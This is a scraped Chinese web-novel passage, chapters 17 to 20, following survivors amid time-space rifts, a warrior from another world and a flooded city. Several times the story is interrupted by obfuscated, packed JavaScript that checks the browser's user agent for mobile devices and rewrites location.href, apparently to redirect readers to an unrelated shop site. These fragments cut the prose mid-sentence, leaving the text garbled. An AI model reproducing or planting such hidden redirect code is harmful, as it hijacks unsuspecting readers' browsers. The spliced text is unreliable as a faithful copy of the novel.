0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628140|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拎着几罐啤酒走了进来。 乔一伊打开了一罐啤酒，猛喝了几口，脸上逐渐露出了一些悲伤的神色。 “你们说，陈斯他……还活着吗？” “这……”张进的啤酒罐悬停在嘴边，一时不知道该喝还是不该喝。“哎，妹子，他都变成那样了，你还是忘了他吧。” “我不是担心他，我是怕他还活着，会跟着我们到这里来，”乔一伊的眼神转瞬又流露出担忧，“我虽然是他女朋友，但这点是非还是分得清的，他不是什么好人，现在又变成这样，对我们是个麻烦。” “哦……”张进挠了挠头，“事情已经变成这样了，我们只能走一步看一步了。” “是啊。”乔一伊捂嘴咳嗽了两声，“话说回来，看着熟悉的人变成这副样子，还是挺难受的。你们呢？” 乔一伊小心翼翼寻找大家的认同。 “我啊……”张进皱眉，“老实说啊，我有好几个兄弟都是莫名其妙死的，刚开始听难受，但现在我有点麻木了，没办法啊，不麻木点，我担心自己坚持不下去。” “小楚呢？你和陈斯……”乔一伊欲言又止。 “我有点难受，”肖与楚实话实说，“不过不仅仅是为了陈斯，还有老林、蒋思雨、小佳……那些人我都难受。” 乔一伊叹了口气。 “不过比起难受。我们现在有更重要的事要做，陈斯为什么会变成那样？那些虫子会不会跟着我们到这儿……” “啊……你别吓我们啊！”张进立刻在自己身上翻找起来，乔一伊也吓得站起来找，两人找了一圈，没发现虫子的踪迹。 “小楚，那万一那些小虫子真跟着我们来了，我们能怎么办啊？”乔一伊担心。 “不知道，等小野醒来，再说吧。” 三人的心里忐忑得很，竟然就这样坐到了天亮。 天刚亮的时候，小野醒过来了，她一醒就大呼一声“完蛋了”，吓得其他三人立即围到了、她身边。 “发生什么事了？” 小野急得只挠头：“昨天我本来想告诉你那些虫子的来历的，但是却睡着了。还好你们都在，要不然我要后悔死了。” “那些虫子到底什么来历啊？”乔一伊问。 “呃……”小野看了一眼乔一伊，又看向肖与楚，似乎是在问她可不可以说出真相。 肖与楚点了点头，示意她说出来。 “那些虫子来自于第388号时空，是一种共享思想的高智慧生物，它们看起来很弱小，但能通过进入别人的身体，控制他的思想和意识。” “等等，什么第388号时空，我怎么听不明白？”张进一头雾水。 “听不明白才正常，这个世界的运行原理本来就和你们想的不一样。总之如果这种虫子进入了大脑，如果你不甘心被他们控制，就会被他们杀死，但如果能和他们合为一体，他们就会让你变得更加强大，只是这种强大，也建立在听它们话的基础上。” 张进情不自禁地吞了口唾沫。 “你们觉得陈斯是会被控制，还是会听它们的话呢？”小野问肖与楚和乔一伊。 肖与楚和乔一伊不约而同地沉默，以她俩对陈斯的了解，答案的指向性很明确，他一定会选择被控制。 “我看他应该已经被控制了。”肖与楚说。 “如果被控制了，他只会继续成长，我们最好祈祷接下来不要碰到他。”小野担忧地说。 17. 017 “就算他想找，只要我们不暴露，他应该就找不到吧？对吗，小野？”张进问道。 小野眉头紧锁：“不好意思，张叔叔，这个资料上没有记载他是否有此功能。” “怎么关键的地方就不记载呢。”张进拍脑袋。 “张叔叔，仅仅蓝星上的物种就多达上千万种，而可查明的多重时空有一万多个，这么多的物种，我们不可能面面俱到。” 张进听得一愣一愣的。 “你说的很多话我都听不懂，不过我听出来了，你是个很厉害的的孩子。现在想这么多也没用，后厨还有些面条，我去给你们做碗葱油面。” “你哪儿来的葱？”肖与楚问。 “闲的没事种的，你们等着，我去去就回。”张进说着就下楼了。 葱油面几个字让肖与楚短暂忘记了陈斯。她的味蕾活跃起来，她记不清上次吃葱油面是什么时候了，但是那种味道还在记忆中，平时觉得淡淡的，但到了现在居然觉得是一种难得的美味。 在张进下去的时候，小野又从包里拿出了很多物资，乔一伊哪儿见过这种场面，她兼职吓呆了。 “这……这……” “一伊，这是秘密，不要告诉别人。”肖与楚说。 “知……知道了，”乔一伊猛地眨眼睛，“所以，这些都是地铁站的物资吗？” “嗯。” “那那株藤蔓？” “真的消失了，我们也不知道它去了哪里。” “我还以为……” “以后很多事都是我们的秘密，决不能让任何人知道。” 乔一伊点点头表示明白。 二十分钟后，张进就端着一个托盘进来了，看到屋里角落里一下子多了好多物资，他也惊讶了一下，不过很快就恢复了正常表情。 “面不多，大家将就吃。”张进把托盘放在了桌上。他已经满头大汗，他一屁股坐在椅子上，拿起肩膀上的毛巾把脸上的汗擦了擦。 “这些东西都是哪儿来的？”张进问肖与楚。 “都是地铁站的物资。”肖与楚也不隐瞒。 “我就说呢。”张进嘿嘿一笑，“没想到我这倒霉厨师还有走运的一天，一下子遇上几个能人。我刚刚下面的时候还担心这么下去没东西吃呢，看来这几天吃喝不用愁了。哎，你们赶紧吃，小心烫。” “这就是葱油面？看起来和视频里差好多……”小野神不知鬼不觉地坐在了桌边。 “这面和平常拿来做葱油面的面不同，所以看起来不一样。”张进解释。 “明白了。”小野拿起筷子尝了一口，不一会儿就皱起了眉，这味道对她来说味同嚼蜡，说不上好吃也说不上难吃。 但对肖与楚和乔一伊来说就不一样了，两人几口就把葱油面吃光了。 “张师傅，你这面的味道真的不错。”肖与楚由衷地夸赞道。 “是吗？”张进又嘿嘿笑了，“我还怕不符合你们胃口呢，喜欢就好，喜欢就好。” 过了早上，天气如昨日一样变得越来越热，二楼无法忍受，肖与楚一行人便带着物资去了一楼待着。只要保持静止不动的状态，似乎一切都能忍，但只要动起来，张进和乔一伊就会大汗淋漓。 肖与楚只能让他们少动，有什么重要的事情让她去处理即可。 炎热的天气大概持续了三天，在这三天的时间里，四个人的吃喝拉撒都在这个高档豪华的会所里进行。没有人来敲门，也没有任何其他的声音。 到了第三天下午，天气突然变得凉爽了，察觉到这种变化的乔一伊和张进几乎要跳起来。 “终于结束了，再这么热下去，我肯定会没命。”张进几乎是瘫在了地板上。 “是啊，”乔一伊附和道，“真羡慕小楚母女俩，都不出汗。” 这一点肖与楚也认同，这三天她见识到了这场高温给乔一伊和张进造成的伤害，如果不是有充足的水，恐怕这两人都会脱水而亡。三天下来，乔一伊和张进都瘦了一圈，要是这种高温持续更长的时间，肯定会没命。 “没办法，我们没有进化，我们只是普通人。”张进沮丧地说，“普通人要在这种环境里活下去太难了。” 这话一说，连原本变得愉快的氛围也凝重起来。 肖与楚保持沉默，她没有朝人伤口上撒盐的习惯。况且她能得到这种能力，要感谢小野，还要感谢小野亲妈。 可是她内心又隐隐有一种念头，天下没有免费的午餐，她得到了这么多，恐怕也得付出对等的东西。 小野的目的到底是什么？ 肖与楚觉得她迟早有一天会说出她到来的真相。但在那一天到来之前，她就算逼问，小野恐怕也不会回答。 她出了口气，窝在椅子上，突然感觉有微风吹拂过来。 不对，肖与楚警觉地竖起身子，这风来得很莫名其妙，在她眼前根本没有任何可以吹出来自然风的地方。 肖与楚神经紧绷，她意识到马上有事情要发生了。 “赶紧出去。”肖与楚对其他人说。 “怎么了？”乔一伊不解。 “别问那么多了，让出去就出去。”肖与楚已经看到在靠近大厅中间的位置有一团红色的气流正在升腾起来，很快那里就会形成一个时空裂缝，从那里面不知道会钻出来什么东西，现在最紧要的就是撤离。 肖与楚说着就抱起小野往后厨门跑，乔一伊和张进虽然不知道发生了什么，但以也麻溜地起来跟在肖与楚屁股后面。 众人一口气跑到了后厨门口。要进后厨门时，肖与楚把小野塞到了张进手上。 “你们先出去，我在这里观察一下。”肖与楚很想知道从时空裂缝里会出来什么东西。 “你一个人留在这能行吗？”乔一伊忐忑。 “能行。张进，你们出去后先在附近找个地方躲起来，如果半个小时我还没出去，你们就带着小野跑。”肖与楚异常果断决绝。 “小楚姐，你这是什么意思啊？没有你，我们三个能活下来？”张进匪夷所思。 “我只是假设一下，可能在这里什么事都不会发生。放心，你们先出去吧，我观察观察。” “妈，给你这个。”小野手里不知道什么时候多了一把枪，这把枪跟其他的枪不同，它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13645115|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的枪管很粗，枪口像是一张网。 “这是什么？” “捕猎者。可以捕捉其他的东西，控制他们的行动，不过时效有限。”小野说。 “明白了。”肖与楚点了点头。 她明白了，但乔一伊和张进的脸却更加疑惑了，两个人想问什么又不知道该从哪里问起，只好抱着小野进了后厨。 等他们走后，肖与楚独自躲在大厅靠近后厨的一个角落里，观察着那个时空裂缝的形成。 那团气流一直不停地流动，慢慢扩大，大约十分钟后，它从一个篮球扩大到一个圆桌那么大，接下来便不再扩张了。 肖与楚不敢轻举妄动，她猜测从裂缝出来的东西，不会超过这个裂缝的大小，但即便如此，也不排除会从这个缝里源源不断地冒出什么可怕的动物。 在那一切发生之时，肖与楚也应该离开，她起身准备溜出门去。 谁知道她刚站起来，就听到时空裂缝里发出一阵异响。 就在几乎同一时刻，从那裂缝中飞出一个红色的影子。它像是被人从裂缝中抛出来一般，狠狠地砸在了一张餐桌上，刹那间，餐桌四分五裂。 还没等肖与楚反应过来，又有一个人影从裂缝中飞了出来，他壮得像一座山，满脸横肉，手里还提着一把满是血迹的大砍刀。 “潺音，你插翅难逃，还不快束手就擒？”大汉声音中气十足，在整个大厅里回荡。 “我丹族就算是全部战死，也不会投降！”红衣女子从地上一跃而起，那身红色的薄衣，让肖与楚一阵恍惚，她差点以为在看古装电视剧。 女子手中的那柄长剑，突然四下散开变成无数更加锋利更加灵活的短剑射向那个身着厚重盔甲的大汉。 “雕虫小技，还想跟我斗？”大汉飞身而起，挥起大刀，朝着那些短剑劈去，没有任何一柄短剑近了他的身。 肖与楚一眼就能看出来大汉目前处于上风。虽然她无法判断到底哪一方是好人，但她的内心却很自觉地站在了红衣女子那边，一方面同性别，另一方面这场面看起来分明是在以强欺弱。 于是，肖与楚的枪口便悄没声地对准了那个大汉。 红衣女子和大汉都太集中于眼前的缠斗，没有注意到肖与楚的存在，这就是最好的时机。 肖与楚扣动扳机，一颗片状的子弹朝着大汉射去。 “啪”地一声，那片子弹砸在了大汉的盔甲上，大汉微微愣了一下，低头从盔甲上捏起那颗软乎的子弹，嫌弃地说道：“小人，居然用暗器！” 说着大汉就要把子弹扔掉，却不料在刹那间，子弹就展开了，它缠住大汉的手脚，将大汉的躯干包裹了起来。 “何方邪物？”大汉大嚷道。 他的叫声和刀在超越时代的科技前面毫无威慑力。 就在他被包裹得无法动弹的时候，红衣女子手起剑落，一剑抹向大汉的脖子，一股殷红从脖子里滋啦出来。大汉嗫喏着嘴唇，定定地站在那里，片刻，他身体不撑，倒了下去，身体砸在地面上发出一声巨响。 肖与楚目瞪口呆，就在她晃神的一瞬间，那柄长剑突然朝她飞来。 18. 018 肖与楚零点零几秒钟就反应了过来，她再次扣动扳机，捕猎者又发送了一枚子弹，那枚子弹直接击中了剑尖。 “咣当”一声，长剑掉在了地上。 红衣女子挥拳再度发起攻击，肖与楚见状立即大叫道：“我刚刚救了你！你不能恩将仇报！” 红衣女子停下了脚步，却没放下拳头，她恶狠狠地盯着肖与楚。 “是你把我弄到此地来的？”她质问道。 “当然不是，我哪儿有那么大能耐，是你跌入了时空裂缝，所以才来到这儿。” 红衣女子冷哼：“什么裂缝？难道不是你们大武设的陷阱？” “你想多了，你看我的样子像跟那个什么大武有关系吗？”肖与楚放下枪，不慌不忙地说道，“我不认识他，刚刚看你被这个男的打得措手不及，所以才出手帮你。” “不需要你帮，我能对付他。”红衣女子不领情。 肖与楚想要走近一点，因为距离太远，天色又暗，她实在是看不清对方到底长什么样。 “你别误会，我没什么恶意。你现在坠入了一个完全不同的时空，如果我没猜错，你们的时空处于古代社会，而我们的时空处于现代社会……” “不懂你说什么。”话虽这么说，但红衣女子的警惕性已经慢慢放了下来，她久经沙场，对人总会有些基本的判断，眼前这个秀气的女人，对她来说应该没什么威胁。 “算了，”肖与楚一时半会儿也解释不清楚到底怎么回事，她弯腰捡起地上的长剑，继续向红衣女子靠近，“总之，我们不是敌人。我刚听那人说你叫什么蝉……什么音？” “潺音，潺潺流水的潺，靡靡之音的音。” “我叫肖与……” “没兴趣知道，你快把我送回去！”红衣女子怒气冲冲。 “我没有办法把你送回去，你出现这里只是时空的一场意外，极有可能有来无回。” “你胡说什么？” “我没胡说，”肖与楚已经到了潺音面前，她看清了潺音的脸，这张脸五官端正，皮肤偏黑，有很重的粗粝感，她把长剑递给潺音。“这是宇宙的异象，你我的力量都没法反抗。” “不可能，”潺音喃喃，“我一定要回去，不然我那么多将士怎么办？他们会没命的。” “你们……在打仗？”肖与楚明知故问。 “是。大武一直想要吞并我族，我族正拼死抵抗。如果我不回去，这一仗必输无疑……”潺音的语气越来越沮丧。 肖与楚不知道该说什么好。 “你必须帮我！”潺音一把夺过那把长剑，架在肖与楚脖子上。“你既然知道这么多，还有这么厉害的兵器，肯定知道怎么让我回去。” “我真的不知道，”肖与楚不慌不忙，她清楚这把剑奈何不了她。“我的兵器杀不了人，刚刚你也看见了，它发出的子弹只是裹住了你的敌人。”肖与楚顿了一下，“不过……我认识的人，或许知道该怎么送你回去。” 缓兵之计。肖与楚琢磨，眼前这位叫潺音的女士刚到一个陌生环境，身体和思想都很紧绷，需要点时间才能让她接受现在的事实。 “什么人？” “我带你去见她。” 和小野相见是半个小时后，肖与楚不想让彪形大汉的尸体留在大厅里，便要求潺音一起和把他的尸体运到餐厅外去。 等把尸体处理好后，肖与楚才把其余人叫回到餐厅。 经过这一番折腾，大家身上的味道都不好闻，不过这个时候谁也不会嫌弃谁了。 只有小野除外，她好像一尘不染，干净得过头，闻到大家身上的味道，也一直眉头紧皱，当然更让她眉头紧皱的还是这个叫潺音的红衣女子。 不仅她眉头紧皱，乔一伊和张进也是一头雾水，搞不清现在到底什么情况。 “你们……别看着人家了。”肖与楚对乔一伊和张进说。 “不是啊，小楚，这位是从横店来的吗？怎么穿这样？”乔一伊纳闷得很。 “她是从另一个时空来的，但是那个时空的发展进度还在古代。”肖与楚跟乔一伊说完，转而对小野说：“小野，她刚刚跟我说她是丹族，你给我查查她来自哪个时空。” 小野听到丹族这两个字立马搜索了起来，不一会儿她就有了答案。 “第1233号时空，这个时空正处于群雄逐鹿的时期，每个部落都想成为王者。丹族在其中不弱，但是因为身体机能特殊，总是被其他部落率先讨伐。” “身体机能特殊？ “你怎么知道我们特殊的？”潺音又警惕起来，手中的长剑再次呼之欲出。 肖与楚默默给她按了回去。 “我们会尽量记录每个时空的物种，你们的时空和人类有高度相似性，但丹族却不同，你们的身体宛如变色龙，可以变成任何你们想要成为的人。” 潺音的脸陡然阴沉了下来。 “你的意思是，她甚至可以变成我？”肖与楚半开玩笑似的问。 “没错，只要她愿意，她也可以变成你。”小野说。 乔一伊和张进听得目瞪口呆，他们的世界观在短短几天内又一次被重塑了，这个世界发生的事情还有一件在他们的理解范围内吗？ 没有。 彼时的他们面对三个超出理解的人，甚至产生了一种相依为命的感觉。 “我知道你们是谁了。”潺音低沉地说道。 “嗯？”轮到肖与楚疑惑了。 “我们的史书上有记载，天神曾经降临，就是拿着你手中这样的黑匣子。”潺音指着小野手中仪器说，“我刚刚不确定你是不是，现在看你用他的方式，确定了你们就是天神。” 众人：“……” “你搞错了，我们可不是什么天神，只有她是。”张进指小野。 “我也不是天神，”小野皱鼻子，“那肯定是时空记录官去的时候不小心被发现了，才会被你们的史书记录下来的。” “不。史书上记载，天神和我们的族人结合了，生了孩子。” 肖与楚：“……” “是吗？”小野非常吃惊，连眉毛都竖了起来，“按照时空宇宙的律法，这是重大违规，他会被惩罚。” “没错，史书上记载，他被召回天宫，他和我们族人的孩子也被流放到了寒地。” “寒地？”小野的眉间闪过一丝惊诧，但很快就被平静所取代了，她只是嗯嗯了两声。这种细微的变化，却被肖与楚看在眼里。 “姐姐，”小野很自然地转换了话题，“虽然我很想帮你，但是我没有办法把你送回去。” “为何？”潺音不理解， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660330|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你既是天神，来去自如，肯定有办法让我回去。” “这个呢，说起来复杂，”小野小小的眉毛皱得更深了，她欲言又止，似乎有什么难言之隐，“总之现在我没有办法送你回去，但真要等你回去的时候，你的时空也早跟现在不一样了，说不定……” “说不定丹族都灭亡了，对吗？” “嗯嗯嗯。”小野连连点头。 “小野……”肖与楚觉得小野太直接了，谁能接受自己的族人灭亡呢。 “我也是实话实说嘛……撒谎多不好。”小野委屈巴巴。 潺音沉默，她需要一些时间来消化眼前所发生的一切。刚刚她已经斩杀了大武最厉害的将军，短时间内，恐怕大武不会再对丹族发动攻击，丹族也有机会休养生息。但这样的时间不会太久，她必须找到机会尽快回去。而回去的办法，只有天神有。 “天神，如若我留在这里，我可否能跟着你？”潺音问小野。 “啊？”小野一时无法接受。 “我精通剑术，还有变形术，也许以后能帮上天神的忙。” “这个呀……”小野挠了挠后脑勺，求助地看向肖与楚。 肖与楚耸肩：“我没问题啊。” “多谢天神。”潺音扑通一声跪在了地上，“希望天神能找到让我回丹族的办法，我会尽犬马之劳。” 小野抓着她的小布包，一瞬间几乎要被愁苦淹没了。 “姐姐……”小野唉声叹气。 不速之客的到来，给了四个人久违的新鲜感，大家围着潺音问东问西。 很快肖与楚就知道了潺音在丹族是族长的女儿，目前在先锋军当头领，如无意外，过两年年满二十岁后她就会成为丹族的巫女。 “我不想当巫女，我喜欢在战场上厮杀。”潺音不满父亲这样的决定。 “嗯，”小野一边津津有味地吃着自热小火锅里的菜一边说，“我看过资料，巫女会给丹族指明方向。” “话是这么说，但是当了巫女后就不能再出宫了。”潺音并未动筷子。 “这样啊，”小野露出同情的表情，“我懂你，我妈以前也不让我出去玩，我也很烦。” “哎……小楚姐，你怎么这样啊？她还是个孩子。”张进为小野鸣不平。 肖与楚：“……” “赶紧吃吧，都快凉了。”肖与楚催促潺音。 潺音犹豫再三，还是拿起了筷子，小小地吃了一口，等喂进嘴里，她的眼睛一下子亮了起来。 “好吃。”她立即饿虎扑食，没几分钟就把一碗自热火锅干了精光。 “姑娘，干饭速度惊人啊。”张进称赞道。 “你这是在骂我。”潺音又要拔剑。 肖与楚再一次给按了回去。“以后对自己人不要打打杀杀的。” “天神说什么，我听什么。你既然是天神的母亲，我自然也会听你的。”潺音把剑放在了一边。 这一晚上比之前的几个夜晚都舒服很多，没过多久，天空竟然淅淅沥沥下起雨来，雨越下越大，张进干脆趁着这个机会去天台接了好几大桶水，一帮人难得烧水洗了个热水澡。 洗干净后的肖与楚神清气爽，也逐渐忘了陈斯那档事，她优哉游哉地躺在沙发上，不一会儿就进入了梦乡，直到天空中一声惊雷响起。 19. 019 “好大的雷！”乔一伊顶着一头鸡窝，双眼惊恐地往着窗外。 刚刚那声雷大到好像在他们头顶劈开的一样，让人一点防备都没有，连肖与楚也吓得不轻。 除了小楚，四个人都被吵醒了。 张进第一个跑到窗边，掀开了窗帘一角，闪电的光芒顿时照亮了他的脸。 又是一声惊天炸雷响起，几乎在耳朵旁炸开一样。 “这是劈我们头顶了吗？”乔一伊捂着耳朵。 “差不多吧，外面起火了。”张进说。 肖与楚赶忙爬起来，掀开就近窗户的帘子。果然如张进所说，在不远处有一颗枯树被劈中了，燃起了火苗。但那火势没延续多久，马上又被雨浇灭了。 闪电划破了黑夜，雷声一个接着一个，吵的人根本无法入睡。 潺音干脆在沙发上打起了坐，她嘀咕道：“你们这儿……是在被天神惩罚吗？” “天神惩罚？”肖与楚重复了一遍，觉得有点不对劲。 “我从来没见过这么大的雷，”乔一伊抱着胳膊坐在沙发上，“这怎么睡得着？” “不行就等这雷结束了再睡。”张进在远处说。 话是这么说，但这雷声却一直没有结束，就这样一直到了天亮，而这雨也一直下到了天亮。 这城市荒废下来后，排水系统岌岌可危，下了一整夜的雨，地面上竟然积了不少水。但让人更加害怕的是，雨似乎没有停下来的迹象。 肖与楚一行人储存了几大桶干净的水，就坐在包间里百无聊赖地看着窗外的雨。 在十二点过后，天空突然变得漆黑一片，更大的雨浇了下来，这雨一连下了几个小时，完全没有停下来的趋势，外面的积水也越来越深。肖与楚开始担心起来。 她想到了小野的那个无人机，便问她能否让无人机去查看周围的情况，小野想都没想就同意了。 周围的情况比肖与楚想的还糟糕，有好几个路口都被淹没了，一些小区甚至淹到了二层，而且水位还在不断地上涨中。 在了解到周围的情况后，肖与楚做出了一个决定，马上离开这里。 “我们得走了。”肖与楚对其他人说。 “去哪儿？”张进早就察觉到会所朝不保夕，但他不知道离开这里还能去哪儿。 “外面的水已经很深了，如果我们现在出去，踩空了怎么办？”乔一伊也有担忧。 “这个你们放心，我有船。”小野说。 “你有船？”众人惊诧。 “也不算是船，”小野手背在身后，“就是一艘救生艇，就在那些物资里，坐我们五个人应该没问题，而且还有雨衣、船桨这些东西。” “你是哆啦A梦吧，什么都有。”乔一伊摸了摸小野的脑袋。 “什么是哆啦A梦？” “就是一只猫，口袋里什么东西都有。” “哦……”小野皱着眉仔细想了想，觉得自己的确和哆啦A梦差不多，但是她不是什么东西都有。 话已至此，众人便再次收拾好了东西，准备离开九龙树会所。临走前，肖与楚让小野把那几大桶水也放进了空间囊里。 这艘救生艇的配置不错，竟然还带一个电动发动机，张进主动承担起了驾驶的任务。众人便在暴雨连连中出发了。 他们避开了活力城、公安局那两个方向，往林川市的南方进发，虽然往南距离庇护所的距离又远了点，但南部地势较高，甚至还有一块叫九岭的山地，如果暴雨下得太大，那一块是最不容易被淹的。 本来张进是想找个高层建筑住进去的，但这个建议被肖与楚否定了，她觉得这一块有陈斯这个隐患，在他们不知道如何对付他之前，还是逃离得越远越好。 救生艇在楼宇之间穿行，因为大雨和雷声，发动机的声音反而不是特别引人注意。但是依旧麻烦不少，首先水里有太多腐烂的尸体和垃圾，还有一些不太让人注意的暗涌，必须时刻小心不能让救生艇转上，其次雨下得太大了，不一会儿就会让救生艇里积上厚厚的一层水。几个人不得不轮流把水舀出去。 在经历了几个来回后，很快五个人就确定了一个方针，肖与楚负责往外舀水，潺音负责观察楼宇看有没有危险，乔一伊和小野两人观察水面，而张进专心开船。 在穿越桥梁时，所有人都会格外小心，生怕撞到桥柱或者擦到桥顶。 救生艇开了大约二十分钟，到了一个高楼林立的地段。这里是林川市的知名商务区，曾经肖与楚也在这里上过几天班。 这个区域地势低洼，很多房子居然已经被淹到了三到四层的位置。 肖与楚的视线在这些建筑中穿梭，很快就被其中一栋楼吸引了。那栋楼接近水面的地方有一个巨大的豁口，像是遭受到了巨大的撞击一样，摇摇欲坠。 这种末日景象以前只在电影里看到过，如今这样真实地出现在眼前，让肖与楚感觉到一丝悲凉。 她正要挪开视线，却发现那栋建筑后有一丝不对劲，那里似乎有一团暗红色气流在涌动。 肖与楚正琢磨那里会泄露出什么东西来时，突然一团巨大的浪花从水中跃起。 众人顿时都被这巨大的声响吸引了，视线齐齐地朝那儿扫了过去。 在视线所及之处，那不仅仅是浪花，而是一条比成年虎鲸小一点的大鱼。它优雅的在空中划了个弧线，就落入了水中，水里溅起了浪花。 “太美了。”乔一伊感叹道。 的确很美，但越美的东西往往就越危险。 那条鱼溅起的浪花，冲刷着那栋破损的楼，它的身体似乎也卡在了那栋楼里，大楼马上就发出钢筋撕扯的悲鸣，那声音在大雨和惊雷中变得格外惊心动魄。 转眼间那栋大楼就失去了支撑，巨大的混凝土产物顿时支离破碎，巨大的梁柱、破碎的墙体纷纷坠入水里，巨大的冲击力使得原本已经趋于平静的水面，刹那间变得异常汹涌，巨浪卷着各种各样的建筑垃圾和枯木直冲着小艇而来。 “快——跑！”肖与楚一张嘴，嘴里就被大风塞了一嘴的雨水。 张进已经看到了这惊现场面，他灵活地摆动船尾，想要快速逃离现场。但奈何周围都没有什么遮挡物，小艇禁不起巨浪的拍打，左右摇摆。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667609|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 乔一伊忍不住发出了尖叫。 “别动！别动！”张进安抚道，”没问题，我们肯定没问题。” 话虽这么说，但张进却感觉这马达的动力越来越小，片刻他就悟出来一件事：马达好像没电了。 小艇顿时像一片叶子一样在水中随波逐流。 “千万不要站起来啊，不要乱动。”张进再次吆喝道。 救生艇里的每个人都如临大敌，这一瞬间所有人的呼吸都凝滞了。 肖与楚的身体随着波浪摇摆，她的眼睛几乎都快被雨水糊住了，只能看见那些浑浊的水一次又一次扑过来，过了好一会儿，才终于平静下来。 众人不由得都长长地舒了口气。 “好险！”乔一伊如释重负般擦了擦脸上的雨水。 “妈的，我这辈子还没见过这种事，”张进在雨中咆哮，“各位，船没电了，我们得用手划船了。” 乔一伊一边捡起船底的船桨，一边无措地说道：“我从没划过船。” “你只需要跟着我们的节奏，”肖与楚说着看向前面和小野坐在一排的潺音，“潺音，你划过船吗？” 潺音裹着雨衣，蜷缩着身子，低垂着头，没有要回答肖与楚的意思。 肖与楚想继续问，就看到小野转过了身子。 “妈，别问了，她没划过船，而且她还晕船，已经悄悄摸摸吐半天了。” 肖与楚：“……这样啊。” “对不住各位，丹族世代居住在大漠，并未有划船机会，哕——”潺音趴着船沿吐了起来。 肖与楚看着她吐，莫名也有点想吐。她思考了几秒钟，决定把划船的任务交给自己和张进，她让张进和乔一伊换了个位置，以保持平衡。 “你们看，那是什么？”还没等两人换位置多久，乔一伊就指着不远处喊。 肖与楚顺着她指的方向看去，在朦胧的视线中，似乎还有个什么东西正在游过来。 肖与楚擦了一把脸上的雨水，才看清楚了那究竟是什么，是刚刚那条大鱼，它正冲着这艘小艇而来。 “那条鱼还活着，快划。”肖与楚一边喊一遍挥起手中的船桨，拼命划起来。 那条大鱼在水中又一跃，落入水中的浪花，让小艇颠簸不堪，肖与楚几乎要握不住手中的桨。 “小野，你的捕猎者呢？”肖与楚想用捕猎者困住那条大鱼。 小野立即掏出了捕猎者，她定定地看着那条鱼游来的方向，却不知道该把枪口瞄准在哪里。 “它不见了。”小野四下观察，都没见到那条鱼的踪影。 “那条鱼那么大，是不是我们把船往浅的地方划，它就过不来了？”乔一伊说道。 道理是这么个道理，但现在哪里由他们做主，那条鱼就在屁股后面跟着呢。说不定，它已经游到了附近。 想到这里，肖与楚不寒而栗，她埋头一看，浑浊的水中，果然有一团巨大的黑影。 “小心。” 肖与楚刚喊出口两个字，就感觉到一股巨大的力量把船顶了起来，她顿时感觉失去了重心，整个人都被抛向了空中。 20. 020 肖与楚不太会游泳，她学过几节课，但是远远不到精通的地步。 在小艇被顶起来的一瞬间，她的脑海里顿时出现一系列的场景，落在在深水里被水塞满口鼻，落在鱼嘴里瞬间变成大鱼的食物…… 但这些臆想之中的事情都没有发生。 小艇安安稳稳地悬停在空中，没有倾翻，她和她的同伴也没有落入大鱼口中。 肖与楚扒拉着船沿往下看，才发现原来一股强大的水流托举起了船。 而那条大鱼却被另一股水流压制在水中，它张着血盆大口似乎对唾手可得的食物突然消失了感到困惑。 肖与楚一激灵，目光随即往周围扫去，最终她的视线锁定在了距离最近的一栋五层楼高的建筑上，在那栋楼的天台上，一个单薄的穿着黑色雨衣的人站在那里。 廉敏佳，她居然没死。 肖与楚冲她挥了挥手，感谢她的救命之恩。 廉敏佳没有跟肖与楚打招呼，她就只是站在那里，细看之下，甚至神情有些痛苦。 “不好了，下面好像有漩涡。”张进嚷道。 肖与楚又往下看，才发现在大鱼的旁边不知道什么时候产生了一个大漩涡，那水流旋转的速度让人头晕目眩。 漩涡是什么时候出现的？明明刚刚什么都没有。难道是因为小佳的力量？ 肖与楚感到疑惑，就在这时，原本还在挣扎的大鱼突然像失去了所有力气哦，嗖地一下被卷进了漩涡，消失得无影无踪。 这不是普通的漩涡…… 肖与楚分明看到在漩涡中心，有一团淡绿色的气体在盘旋、涌动。 这是一个时空裂缝。 就是这个裂缝，将周围所有的水和东西都吸了进去，造成了一个强力的漩涡，所以小佳才会那么痛苦，因为她是在跟一个时空裂缝作斗争。 万一她的力量消耗殆尽，这艘小艇，和肖与楚他们几个人就会被这个裂缝吞没。 想到这里，肖与楚忍不住浑身发抖。 “人算不如天算，”张进绝望地叹了口气，“我看我们这回真是凶多吉少了。” “别泄气，哕——肯定有办法。哕——”潺音一边吐一边鼓励大家。 她的鼓励在风雨中显得格外渺小。 